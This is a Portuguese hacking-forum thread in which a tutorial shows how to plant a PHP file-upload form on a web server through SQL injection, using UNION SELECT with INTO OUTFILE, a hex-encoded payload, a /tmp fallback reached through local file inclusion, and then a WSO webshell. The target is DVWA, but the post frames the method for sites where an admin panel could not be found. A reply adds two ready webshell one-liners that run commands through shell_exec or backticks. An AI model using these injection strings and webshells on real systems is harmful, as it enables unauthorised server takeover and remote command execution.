Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Enviando shell por SQL Injection sem acessar painel administrativo

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Enviando shell por SQL Injection sem acessar painel administrativo

    Olá, colegas de quarto.
    Quantas vezes já nos encontramos perguntando a Goku o porquê de tudo, não é verdade? Por que não encontrei o painel administrativo, mesmo depois de trabalhar tanto para conseguir o login e senha?
    Pois é, e assim, acabamos desistindo, achando que não há solução. Mas a verdade que você verá agora vai tirar você dessa situação.
    O painel de controle nem sempre é tudo. Há outras coisas boas na vida, como a natureza, mulher, amor, vagina, sexo e também a linguagem SQL, que nos permitirá enviar uma webshell para o servidor sem um formulário de upload.

    Então, vamos iniciar?

    Material necessário
    • Sua parceira (eu sei que você não tem mulher. Falo da sua mão, mesmo)


    The zoeira never ends.
    Agora, vamos entender do que se trata.
    Existe o comando INTO OUTFILE do SQL, que complementa o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e permite salvar o resultado de uma consulta em um arquivo. Sua sintaxe é:
    SELECT
    <dados>
    INTO OUTFILE "arquivo";

    Estou utilizando o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... neste exemplo. Talvez por medo da polícia, talvez por preguiça. Isso fica a seu critério.


    Ok, agora vamos iniciar o ataque, e obter a quantidade de colunas selecionadas. Meus requests:
    Código:
    id=1
    id='1
    id=1 and 1=0--+
    id=1 and 1=1--+
    id=1' and 1=1--+
    id=1' and 1=0--+
    Note que nos primeiros "and 1=0" que fizemos, o resultado esteve ok. Isso ocorreu porque, na consulta SQL, o DVWA insere aspas antes e depois do valor de "id", assim:
    Código PHP:
    $getid "SELECT first_name, last_name FROM users WHERE user_id = '$id'"
    Desta forma, precisamos fechar essa aspa antes de continuar a query. Isso o que fizemos nos 2 últimos requests.

    Ok, Vamos usar o ORDER BY para ver quantas colunas temos na tabela atualmente utilizada.
    Código:
    id=1' order by 1--+
    id=1' order by 100--+
    id=1' order by 10--+
    id=1' order by 5--+
    id=1' order by 3--+
    id=1' order by 2--+
    Legal, são 2 colunas, apenas. Demos uma volta e tanto, à toa.
    Ok, há grandes chances de termos a mesma quantidade de colunas selecionadas. Portanto:
    Código:
    ?id=-1' union all select 1,2--+
    Tudo certo, pudemos ver nossos números "1" e "2" na página:


    Ok, já podemos enviar os arquivos para o servidor. O negócio agora é lembrar que os servidores geralmente bloqueiam URL muito grandes. Logo, precisamos enviar a menor quantidade de dados possível. Mas queremos uma shell completa, então podemos enviar, primeiramente, um formulário de upload.
    Este é o nosso formulário:
    Código PHP:
    <?php if($_SERVER['REQUEST_METHOD']=="POST") { if(move_uploaded_file($_FILES['file']['tmp_name'], $_POST['name'])) { echo 'ok'; } else { echo 'error'; } } else { echo '<form method="post" enctype="multipart/form-data"><input type="file" name="file" /><input type="text" name="name" value="'.dirname(__FILE__).'" /><input type="submit" /></form>'; }
    Mas precisamos Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., para incluí-lo mais facilmente na URL e no SELECT. Lembre-se de adicionar um '0x' na frente de todo o código hexadecimal.
    Código:
    0x3c3f70687020696628245f5345525645525b27524551554553545f4d4554484f44275d3d3d22504f53542229207b206966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c20245f504f53545b276e616d65275d2929207b206563686f20276f6b273b207d20656c7365207b206563686f20276572726f72273b207d207d20656c7365207b206563686f20273c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e3c696e70757420747970653d2266696c6522206e616d653d2266696c6522202f3e3c696e70757420747970653d227465787422206e616d653d226e616d65222076616c75653d22272e6469726e616d65285f5f46494c455f5f292e2722202f3e3c696e70757420747970653d227375626d697422202f3e3c2f666f726d3e273b207d
    Precisamos também saber o caminho do webroot (diretório onde estão os arquivos do site no servidor) desde a raiz. Isso geralmente se vê nas mensagens de erro do PHP, como "Warning: mysql_fetch_array()". Neste caso, encontramos uma mensagem de erro em uma outra página do site, ao tentar incluir um arquivo inexistente. Veja:


    Agora, precisamos apenas injetar esse arquivo na URL
    Lembre-se de respeitar a quantidade de colunas selecionadas (neste caso, 2).
    O nome que escolhi foi "yeswecan.php", e o arquivo ficará em "/var/www/dvwa".
    Código:
    ?id=1' UNION ALL SELECT 1,uploader_em_hexa INTO OUTFILE "/var/www/dvwa/yeswecan.php";--+
    Exemplo:
    Código:
    ?id=1' UNION ALL SELECT 1,0x3c3f70687020696628245f5345525645525b27524551554553545f4d4554484f44275d3d3d22504f53542229207b206966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c20245f504f53545b276e616d65275d2929207b206563686f20276f6b273b207d20656c7365207b206563686f20276572726f72273b207d207d20656c7365207b206563686f20273c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e3c696e70757420747970653d2266696c6522206e616d653d2266696c6522202f3e3c696e70757420747970653d227465787422206e616d653d226e616d65222076616c75653d22272e6469726e616d65285f5f46494c455f5f292e2722202f3e3c696e70757420747970653d227375626d697422202f3e3c2f666f726d3e273b207d INTO OUTFILE "/var/www/dvwa/yeswecan.php";--+
    Agora basta acessar "yeswecan.php" e enviar a sua webshell

    Mas, e se...


    Hm... merda
    Isso significa que o servidor MySQL não possui permissões (CHMOD) para escrever um arquivo nesse diretório. Isso é perfeitamente comum, principalmente em servidores Linux.
    Mas nem tudo está perdido
    Acontece que há um diretório que todos os usuários possuem direito de escrita! Sim, o diretório temporário!
    Em servidores Windows, este diretório costuma ser "C:\Temp", "C:\WINDOWS\Temp" ou "C:\Users\<usuário>\AppData\Local\Temp". Em servidores *nix, costuma ser "/var/tmp" ou, mais comumente, "/tmp".

    Neste caso, apenas alteramos o final de nossa consulta, pedindo ao servidor que salve nosso uploader dentro do diretório temporário.
    Código:
    ?id=1' UNION ALL SELECT 1,uploader_em_hexa INTO OUTFILE "/tmp/yeswecan.php";--+
    Logo:
    Código:
    ?id=1' UNION ALL SELECT 1,0x3c3f70687020696628245f5345525645525b27524551554553545f4d4554484f44275d3d3d22504f53542229207b206966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c20245f504f53545b276e616d65275d2929207b206563686f20276f6b273b207d20656c7365207b206563686f20276572726f72273b207d207d20656c7365207b206563686f20273c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e3c696e70757420747970653d2266696c6522206e616d653d2266696c6522202f3e3c696e70757420747970653d227465787422206e616d653d226e616d65222076616c75653d22272e6469726e616d65285f5f46494c455f5f292e2722202f3e3c696e70757420747970653d227375626d697422202f3e3c2f666f726d3e273b207d INTO OUTFILE "/tmp/yeswecan.php";--+
    Veja o que conseguimos:

    Não se deixem levar pelo erro no topo da página. Já estamos com nosso uploader dentro do servidor!
    Mas... e agora? O diretório /tmp não é acessível normalmente pelo Apache. O que faremos?
    Simples, procuraremos alguma outra vulnerabilidade do tipo LFI (Local File Inclusion) no sistema. Essa vulnerabilidade, apesar de ser muitas vezes ignorada, ainda nos salva bastante!
    Ao encontrarmos, basta-nos incluir nosso "/tmp/yeswecan.php"! Veja nosso formulário de upload no topo da página:


    Só precisamos escolher uma webshell de nossa preferência (neste caso utilizei a WSO2.5) e um local válido para que seja feito o upload.
    Caso você veja mais erros de "Permission denied", você pode escolher outros locais para upload. Eu sugiro diretórios de imagens de notícias, por exemplo.


    Como vimos, o nosso uploader retornou um "ok". Vamos então acessar nossa webshell!


    Owned.
    Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



    Notify-list · Twitter · Blog

    Nova lei: Invadir computadores protegidos é crime.
    Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)
    Similar Threads

  • Font Size
    #2
    Ui ui muito show 0kal

    mais tarde irei ler o tópico direitinho e com atenção aos detalhes que agora irei tomar 1 banho e buscar a minha noiva no trabalho...

    parece até mentira como você disse que não tinhamos mulher kkk (ironia)

    mais muito obrigado pelo tutorial..

    isso min ajudará muito já que eu travava quando não achava o painel administrativo e desistia..

    Se me bloqueiam de um lado, eu me infiltro do outro
    Eu sou pior que um rato eu entro pelo esgoto
    Voltei de preto pro combate sem medo de apanhar
    Eu não sou Jesus Cristo então vou revidar!





    É meu fan? Use minha fan bar




    A nossa maior glória não reside no fato de nunca cairmos, mas sim em levantarmo-nos sempre depois de cada queda.

    Comment


    • Font Size
      #3
      Ficou show esse tuto 0kal. The zoeira never ends, kill the alma and a poison
      ---


      Agradeça a todos que ajudam bastando clicar em "Obrigado"

      Comment


      • Font Size
        #4
        Eu já conhecia esse método muito bom por sinal, inclusive já respondi um carinha aqui no fórum com uma dúvida desse tipo mas eu não domino 100% essa técnica.

        Excelente tutorial 0KaL.

        Dessa maneira do tutorial ele retorna um campo para upload.

        Quem quiser dessa maneira aqui abaixo ele retorna o shell (terminal) para quem quiser preferir também:

        Via POST
        "<? $cmd = $_REQUEST["-cmd"]; ?><html><head><title>cmd.php</title></head><onLoad="document.forms[0].elements[-cmd].focus()"><form method=POST><br><input type=TEXT name="-cmd" size=64 value="<?=$cmd?>"><hr><pre><? if($cmd != "") print Shell_Exec($cmd); ?></pre></form></body></html>" into outfile "/home/nome_do_site/public_html/nome_do_arquivo.php"
        Via GET
        <pre><?php if(isset($_GET['cmd'])){ echo `$_GET[cmd]`; } ?></pre>
        Dessa segunda forma se acessa assim:

        Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
        Também da para expor arquivos do servidor caso não consiga upload de nada dessa maneira:

        '<?php phpinfo();?>' into outfile '/home/nomedo_site/public_html/phpinfo.php'
        Feito isso é só acessar: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

        Comment


        • Font Size
          #5
          excelente esse metodo de upar a shell, parabens
          vlw por compartilhar o tuto.
          Tks
          FOLLOW @pakist4n

          Comment


          • Font Size
            #6
            Muito bom 0kal, parabéns pelo post
            .

            - PHP & VB C0d3r.

            Nickguitar.dll@hotmail.com

            http://www.youtube.com/user/superskate56 <~ Hacking tuts =)

            Quando aprendemos a ouvir, também aprendemos a falar..
            Quando aprendemos a ler, também aprendemos a escrever.
            Então, quando aprendemos a usar um computador, por que não aprender a programa-lo ?


            I'm C0ding for $$$

            #~: Just $this :~#

            Comment


            • Font Size
              #7
              Isso depende da permissão do servidor de hospedagem, mais belo post.
              abraços.
              Yes, I am a criminal. My crime is that of curiosity. My crime is
              that of judging people by what they say and think, not what they look like.
              My crime is that of outsmarting you, something that you will never forgive me
              for.

              I am a hacker, and this is my manifesto. You may stop this individual,
              but you can't stop us all... after all, we're all alike.

              Comment


              • Font Size
                #8
                Gostaria de fazer o pedido de uma video aula pois não entendi =/

                Comment


                • Font Size
                  #9
                  Atrazado aqui.

                  Mais ai tio, tu é um genio ta ligado né?



                  Salvando geral com otimos topicos.

                  WhiteCollarGroup till I die
                  MI5, MI6,NSA,FBI,Army, CIA,Navy,Air Force, Mossad, PF and all this shit can't stop me.

                  Comment


                  • Font Size
                    #10
                    muito bom.. .,

                    so num pode ter preguisa..


                    :q :d

                    Comment

                    X
                    Working...
                    X